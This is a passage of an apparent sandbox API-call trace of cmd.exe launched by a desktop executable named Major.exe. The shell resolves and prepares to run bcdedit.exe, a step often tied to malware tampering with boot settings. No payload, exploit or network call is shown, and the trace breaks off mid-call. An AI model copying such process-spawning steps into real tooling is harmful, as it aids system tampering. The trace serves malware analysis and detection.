nBufferLength=0x7fe7, lpBuffer=0x247536a0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.014] malloc (_Size=0xffce) returned 0x247536b0060 [0087.014] ??_V@YAXPEAX@Z () returned 0x247536b0060 [0087.015] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x247536b0060, nSize=0x7fe7 | out: lpFilename="C:\\Windows\\System32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0087.015] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.015] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.015] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.015] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0087.015] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0087.015] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0087.015] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0087.015] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0087.015] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0087.016] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0087.016] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0087.016] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0087.016] GetProcessHeap () returned 0x247535a0000 [0087.016] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535a6630) returned 1 [0087.016] GetEnvironmentStringsW () returned 0x247535a5b10* [0087.016] GetProcessHeap () returned 0x247535a0000 [0087.016] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xb46) returned 0x247535a6660 [0087.016] FreeEnvironmentStringsA (penv="A") returned 1 [0087.016] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0087.016] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0087.016] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0087.016] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0087.016] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0087.016] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0087.016] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0087.016] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0087.016] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0087.016] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0087.016] malloc (_Size=0xffce) returned 0x247536c0040 [0087.017] ??_V@YAXPEAX@Z () returned 0x247536c0040 [0087.017] GetProcessHeap () returned 0x247535a0000 [0087.017] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x40) returned 0x247535a8820 [0087.017] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x247536c0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.017] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x247536c0040, lpFilePart=0x5b595df160 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x5b595df160*="Desktop") returned 0x17 [0087.018] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.018] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x5b595dee90 | out: lpFindFileData=0x5b595dee90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x247535a8870 [0087.018] FindClose (in: hFindFile=0x247535a8870 | out: hFindFile=0x247535a8870) returned 1 [0087.018] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x5b595dee90 | out: lpFindFileData=0x5b595dee90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x247535a8870 [0087.018] FindClose (in: hFindFile=0x247535a8870 | out: hFindFile=0x247535a8870) returned 1 [0087.019] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x5b595dee90 | out: lpFindFileData=0x5b595dee90*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd6bbca2c, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd6bbca2c, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x247535a8870 [0087.019] FindClose (in: hFindFile=0x247535a8870 | out: hFindFile=0x247535a8870) returned 1 [0087.019] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0087.019] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0087.019] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0087.019] GetProcessHeap () returned 0x247535a0000 [0087.019] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535a6660) returned 1 [0087.019] GetEnvironmentStringsW () returned 0x247535a0fc0* [0087.019] GetProcessHeap () returned 0x247535a0000 [0087.019] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xb7e) returned 0x247535a9400 [0087.019] FreeEnvironmentStringsA (penv="=") returned 1 [0087.019] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x247536a0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0087.019] GetProcessHeap () returned 0x247535a0000 [0087.019] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535a8820) returned 1 [0087.019] ??_V@YAXPEAX@Z () returned 0x1 [0087.020] ??_V@YAXPEAX@Z () returned 0x1 [0087.020] GetProcessHeap () returned 0x247535a0000 [0087.020] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x4016) returned 0x247535a9f90 [0087.020] GetProcessHeap () returned 0x247535a0000 [0087.020] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x64) returned 0x247535a0fc0 [0087.020] GetProcessHeap () returned 0x247535a0000 [0087.020] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535a9f90) returned 1 [0087.020] GetConsoleOutputCP () returned 0x1b5 [0087.065] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6a7effbb0 | out: lpCPInfo=0x7ff6a7effbb0) returned 1 [0087.065] GetUserDefaultLCID () returned 0x409 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff6a7efbb78, cchData=8 | out: lpLCData=":") returned 2 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x5b595df520, cchData=128 | out: lpLCData="0") returned 2 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x5b595df520, cchData=128 | out: lpLCData="0") returned 2 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x5b595df520, cchData=128 | out: lpLCData="1") returned 2 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff6a7efbb68, cchData=8 | out: lpLCData="/") returned 2 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff6a7efbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff6a7efbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff6a7efba80, cchData=32 | out: lpLCData="Wed") returned 4 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff6a7efba40, cchData=32 | out: lpLCData="Thu") returned 4 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff6a7efba00, cchData=32 | out: lpLCData="Fri") returned 4 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff6a7efb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff6a7efb980, cchData=32 | out: lpLCData="Sun") returned 4 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff6a7efbb58, cchData=8 | out: lpLCData=".") returned 2 [0087.065] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff6a7efbb40, cchData=8 | out: lpLCData=",") returned 2 [0087.065] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0087.067] GetProcessHeap () returned 0x247535a0000 [0087.067] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x0, Size=0x20c) returned 0x247535a10a0 [0087.067] GetConsoleTitleW (in: lpConsoleTitle=0x247535a10a0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.084] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0087.084] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0087.084] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0087.084] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0087.084] ??_V@YAXPEAX@Z () returned 0x1 [0087.084] GetProcessHeap () returned 0x247535a0000 [0087.084] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x4012) returned 0x247535a9f90 [0087.084] GetProcessHeap () returned 0x247535a0000 [0087.084] RtlFreeHeap (HeapHandle=0x247535a0000, Flags=0x0, BaseAddress=0x247535a9f90) returned 1 [0087.085] _wcsicmp (_String1="bcdedit.exe", _String2=")") returned 57 [0087.085] _wcsicmp (_String1="FOR", _String2="bcdedit.exe") returned 4 [0087.085] _wcsicmp (_String1="FOR/?", _String2="bcdedit.exe") returned 4 [0087.085] _wcsicmp (_String1="IF", _String2="bcdedit.exe") returned 7 [0087.085] _wcsicmp (_String1="IF/?", _String2="bcdedit.exe") returned 7 [0087.085] _wcsicmp (_String1="REM", _String2="bcdedit.exe") returned 16 [0087.085] _wcsicmp (_String1="REM/?", _String2="bcdedit.exe") returned 16 [0087.085] GetProcessHeap () returned 0x247535a0000 [0087.085] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xb0) returned 0x247535a12c0 [0087.085] GetProcessHeap () returned 0x247535a0000 [0087.085] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x28) returned 0x247535a8820 [0087.086] GetProcessHeap () returned 0x247535a0000 [0087.086] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x4a) returned 0x247535a1380 [0087.087] GetConsoleTitleW (in: lpConsoleTitle=0x5b595df410, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.234] malloc (_Size=0xffce) returned 0x247536b0060 [0087.234] ??_V@YAXPEAX@Z () returned 0x247536b0060 [0087.234] malloc (_Size=0xffce) returned 0x247536c0040 [0087.234] ??_V@YAXPEAX@Z () returned 0x247536c0040 [0087.235] GetFileAttributesW (lpFileName="bcdedit.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\bcdedit.exe")) returned 0xffffffff [0087.235] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0087.235] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0087.235] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0087.235] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0087.235] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0087.235] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0087.235] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0087.236] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0087.236] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0087.236] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0087.236] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0087.236] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0087.236] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0087.236] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0087.236] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0087.236] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0087.236] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0087.236] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0087.236] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0087.236] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0087.236] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0087.236] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0087.236] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0087.236] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0087.236] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0087.236] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0087.236] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0087.236] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0087.236] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0087.236] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0087.236] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0087.236] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0087.236] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0087.236] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0087.236] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0087.236] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0087.236] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0087.236] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0087.236] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0087.236] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0087.236] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0087.236] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0087.236] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0087.236] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0087.236] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0087.236] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0087.236] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0087.236] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0087.236] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0087.237] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0087.237] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0087.237] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0087.237] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0087.237] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0087.237] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0087.237] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0087.237] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0087.237] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0087.237] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0087.237] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0087.237] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0087.237] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0087.237] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0087.237] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0087.237] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0087.237] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0087.237] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0087.237] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0087.237] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0087.237] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0087.237] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0087.237] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0087.237] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0087.237] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0087.237] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0087.237] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0087.237] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0087.237] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0087.237] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0087.237] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0087.237] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0087.237] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0087.237] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0087.237] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0087.237] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0087.237] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0087.237] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0087.238] ??_V@YAXPEAX@Z () returned 0x1 [0087.238] GetProcessHeap () returned 0x247535a0000 [0087.238] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xffde) returned 0x247535a9f90 [0087.238] GetProcessHeap () returned 0x247535a0000 [0087.239] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x62) returned 0x247535a13e0 [0087.239] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0087.239] malloc (_Size=0xffce) returned 0x247536c0040 [0087.239] ??_V@YAXPEAX@Z () returned 0x247536c0040 [0087.239] GetProcessHeap () returned 0x247535a0000 [0087.239] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x1ffac) returned 0x247535b9f80 [0087.241] SetErrorMode (uMode=0x0) returned 0x0 [0087.241] SetErrorMode (uMode=0x1) returned 0x0 [0087.241] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x247535b9f90, lpFilePart=0x5b595dec90 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x5b595dec90*="Desktop") returned 0x17 [0087.241] SetErrorMode (uMode=0x0) returned 0x1 [0087.241] GetProcessHeap () returned 0x247535a0000 [0087.241] RtlReAllocateHeap (Heap=0x247535a0000, Flags=0x0, Ptr=0x247535b9f80, Size=0x58) returned 0x247535b9f80 [0087.241] GetProcessHeap () returned 0x247535a0000 [0087.241] RtlSizeHeap (HeapHandle=0x247535a0000, Flags=0x0, MemoryPointer=0x247535b9f80) returned 0x58 [0087.241] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0087.241] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0087.241] GetProcessHeap () returned 0x247535a0000 [0087.241] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x1bc) returned 0x247535a1450 [0087.241] GetProcessHeap () returned 0x247535a0000 [0087.241] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x368) returned 0x247535a1620 [0087.246] GetProcessHeap () returned 0x247535a0000 [0087.246] RtlReAllocateHeap (Heap=0x247535a0000, Flags=0x0, Ptr=0x247535a1620, Size=0x1be) returned 0x247535a1620 [0087.246] GetProcessHeap () returned 0x247535a0000 [0087.246] RtlSizeHeap (HeapHandle=0x247535a0000, Flags=0x0, MemoryPointer=0x247535a1620) returned 0x1be [0087.246] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a7efbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0087.246] GetProcessHeap () returned 0x247535a0000 [0087.246] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0xe8) returned 0x247535a17f0 [0087.246] GetProcessHeap () returned 0x247535a0000 [0087.246] RtlReAllocateHeap (Heap=0x247535a0000, Flags=0x0, Ptr=0x247535a17f0, Size=0x7e) returned 0x247535a17f0 [0087.246] GetProcessHeap () returned 0x247535a0000 [0087.246] RtlSizeHeap (HeapHandle=0x247535a0000, Flags=0x0, MemoryPointer=0x247535a17f0) returned 0x7e [0087.246] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.246] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x5b595dea00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5b595dea00) returned 0xffffffffffffffff [0087.247] GetLastError () returned 0x2 [0087.247] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x5b595dea00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5b595dea00) returned 0xffffffffffffffff [0087.247] GetLastError () returned 0x2 [0087.247] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.247] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x5b595dea00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5b595dea00) returned 0xffffffffffffffff [0087.247] GetLastError () returned 0x2 [0087.247] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\bcdedit.exe.*", fInfoLevelId=0x1, lpFindFileData=0x5b595dea00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5b595dea00) returned 0xffffffffffffffff [0087.247] GetLastError () returned 0x2 [0087.247] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0087.247] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\bcdedit.exe", fInfoLevelId=0x1, lpFindFileData=0x5b595dea00, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x5b595dea00) returned 0x247535a1880 [0087.247] GetProcessHeap () returned 0x247535a0000 [0087.248] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x0, Size=0x28) returned 0x247535a18e0 [0087.248] FindClose (in: hFindFile=0x247535a1880 | out: hFindFile=0x247535a1880) returned 1 [0087.248] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0087.248] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0087.248] ??_V@YAXPEAX@Z () returned 0x1 [0087.248] GetConsoleTitleW (in: lpConsoleTitle=0x5b595def80, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\FD1HVy\\Desktop\\Major.exe") returned 0x22 [0087.318] InitializeProcThreadAttributeList (in: lpAttributeList=0x5b595deea0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x5b595ded90 | out: lpAttributeList=0x5b595deea0, lpSize=0x5b595ded90) returned 1 [0087.319] UpdateProcThreadAttribute (in: lpAttributeList=0x5b595deea0, dwFlags=0x0, Attribute=0x60001, lpValue=0x5b595ded7c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x5b595deea0, lpPreviousValue=0x0) returned 1 [0087.319] GetStartupInfoW (in: lpStartupInfo=0x5b595dee30 | out: lpStartupInfo=0x5b595dee30*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\System32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0087.319] GetProcessHeap () returned 0x247535a0000 [0087.319] RtlAllocateHeap (HeapHandle=0x247535a0000, Flags=0x8, Size=0x20) returned 0x247535a1880 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="FPS_BRO", _MaxCount=0x7) returned -3 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0087.319] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0087.319] _wcsnicmp 